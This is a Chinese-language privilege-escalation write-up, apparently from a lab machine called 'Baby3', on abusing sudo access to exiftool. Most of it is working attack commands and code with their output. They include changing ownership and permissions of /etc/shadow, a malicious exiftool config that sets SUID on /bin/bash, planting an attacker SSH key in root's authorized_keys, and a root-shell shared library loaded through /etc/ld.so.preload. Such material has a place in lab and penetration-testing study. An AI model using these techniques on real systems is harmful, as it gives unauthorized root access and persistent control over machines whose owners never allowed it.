

exiftool

1. 修改文件属性

- `sudo exiftool -FileUserID=welcome /etc/shadow` 修改文件的属主
- `sudo exiftool -FileGroupID=welcome /etc/shadow` 修改文件的属组
- `sudo exiftool -FilePermissions="rw-rw-rw-" /etc/shadow` 修改文件权限

2. 使用exiftool参数

- 使用 `-config` 引入恶意配置文件

```
welcome@Baby3:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
welcome@Baby3:~$ cat poc.pm
%Image::ExifTool::UserDefined = (
  'Image::ExifTool::Composite' => {
    Exploit => {
      Require => 'FileName',
      ValueConv => 'system("chmod +s /bin/bash")',
    },
  },
);
1;
welcome@Baby3:~$ sudo exiftool -config poc.pm a.txt
ExifTool Version Number      : 12.16
File Name                    : a.txt
Directory                    : .
File Size                    : 3 bytes
File Modification Date/Time   : 2025:10:18 12:10:25-04:00
File Access Date/Time        : 2025:10:18 12:10:30-04:00
File Inode Change Date/Time   : 2025:10:18 12:10:25-04:00
File Permissions              : rw-rw-rw-
File Type                    : TXT
File Type Extension          : txt
MIME Type                    : text/plain
MIME Encoding                 : us-ascii
Newlines                     : Unix LF
Line Count                   : 1
Word Count                   : 1
Exploit                      : 0
welcome@Baby3:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
```



```
welcome@Baby3:~$ cat poc.pm
%Image::ExifTool::UserDefined = (
  'Image::ExifTool::Composite' => {
    Exploit => {
      Require => 'FileName',
      ValueConv => 'system("chmod +s /bin/bash")',
    },
  },
);
1;
```

`sudo exiftool -config poc.pm a.txt` 后面的a.txt是随便一个文件就行

经过测试，直接 `echo 'system("chmod +s /bin/bash")' > poc.pm` 用这个也是可以的

- 使用-o写文件

可以输出内容到一个不存在的文件里面，这个的利用可以写公钥

```
welcome@Baby3:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGCsfjNveSp8fmdwG61/LANrQU1UhoKtCrlLh3jFYpMc2WjUy1TWp5WMyRo0U/r1JXNAFK62uSdQC39Mwv2h5KpHRA6GzKJBJ63IGPMUIMG30FB2fdCQ0U7u5Xps3FzzPfo6bIA31vLPMZrcCuk3zFkEFlot3o6k1MejWu2oolZgJwJPMUJZGk33GGGNBwqnv+3F1PPWFR/XrWdXct53h5usaVn2g1c356cSqCoL3d8abA/tGka2Hyo1y1Rb187x2Ln8LVKl8oLa6x8l19j7rmQJTvSiSog8TphWlXmDC6sF0W4uB/OSeg1R2+2noVj1SnaMNRU18uL01/331c1v5kT8BQUFj/bGznrCsSVXKCy2ev6QZl9LoEs+qTFEK9eDerlM3voHqFyOn1EQaFOKB4Eog8Xqe832wEqehsvlmuHC1PL/L8dWvCkVwmtmPVCsx1Ec9jpu/mqJCHZKRuFQMKKtzP6FXD9zrQr+7m9NR0SSU= root@PH" > xx
welcome@Baby3:~$ sudo exiftool xx -o /root/.ssh/authorized_keys
1 image files copied
welcome@Baby3:~$
```

- 使用-filename

这个是用来修改文件的名字的，我们不能将他改名为一个存在的文件。它也能写公钥。这里还有一个思路是先将目标文件修改名字为另一个，再将你的文件改名为目标文件，有点类似c语言的交换两个变量的值，可以类似实现文件覆盖。但是你搞/etc/passwd与/etc/shadow或者/etc/sudoers是不行的，因为你将他改名字了你就不用不了sudo了。

```
welcome@Baby3:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGCsfjNveSp8fmdwG61/LANrQU1UhoKtCrlLh3jFYpMc2WjUy1TWp5WMyRo0U/r1JXNAFK62uSdQC39Mwv2h5KpHRA6GzKJBJ63IGPMUIMG30FB2fdCQ0U7u5Xps3FzzPfo6bIA31vLPMZrcCuk3zFkEFlot3o6k1MejWu2oolZgJwJPMUJZGk33GGGNBwqnv+3F1PPWFR/XrWdXct53h5usaVn2g1c356cSqCoL3d8abA/tGka2Hyo1y1Rb187x2Ln8LVKl8oLa6x8l19j7rmQJTvSiSog8TphWlXmDC6sF0W4uB/OSeg1R2+2noVj1SnaMNRU18uL01/331c1v5kT8BQUFj/bGznrCsSVXKCy2ev6QZl9LoEs+qTFEK9eDerlM3voHqFyOn1EQaFOKB4Eog8Xqe832wEqehsvlmuHC1PL/L8dWvCkVwmtmPVCsx1Ec9jpu/mqJCHZKRuFQMKKtzP6FXD9zrQr+7m9NR0SSU= root@PH" > xx
welcome@Baby3:~$ sudo exiftool -filename="/root/.ssh/authorized_keys" xx
1 image files updated
welcome@Baby3:~$
```

3.利用/etc/ld.so.preload文件

- /etc/ld.so.preload 是一个重要的 Linux 系统配置文件，用于预加载共享库。/etc/ld.so.preload 文件在大多数正常的 Linux 系统中一般不存在。因为它不存在，这就给了我们创建它的机会，使用-o或者 -filename都可以
- 它的内容通常是共享库（.so文件）的完整路径列表，每行一个库路径。

```
root@Baby3:/tmp# vim pe.c
root@Baby3:/tmp# cat pe.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void _init()
{
    unlink("/etc/ld.so.preload");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
root@Baby3:/tmp# exit
exit
welcome@Baby3:~$ cd /tmp
welcome@Baby3:/tmp$ vim pe.c
welcome@Baby3:/tmp$ cat pe.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void _init()
{
    unlink("/etc/ld.so.preload");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
welcome@Baby3:/tmp$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
welcome@Baby3:/tmp$ echo '/tmp/pe.so' > xxx
welcome@Baby3:/tmp$ sudo exiftool xxx -o /etc/ld.so.preload
1 image files copied
welcome@Baby3:/tmp$ su
root@Baby3:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(welcome)
root@Baby3:/tmp#
```

```
cat pe.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void _init()
```

```
{  
    unlink("/etc/ld.so.preload");  
    setuid(0);  
    setgid(0);  
    system("/bin/bash");  
}
```

```
gcc -fPIC -shared -o pe.so pe.c -nostartfiles  
echo 'pe.so' > xxx  
sudo exiftool -filename=/etc/ld.so.preload xxx  
此时执行动态链接的命令即可拿到rootshell
```

编译共享库

将恶意共享库的路径写入一个文件

将文件命名为/etc/ld.so.preload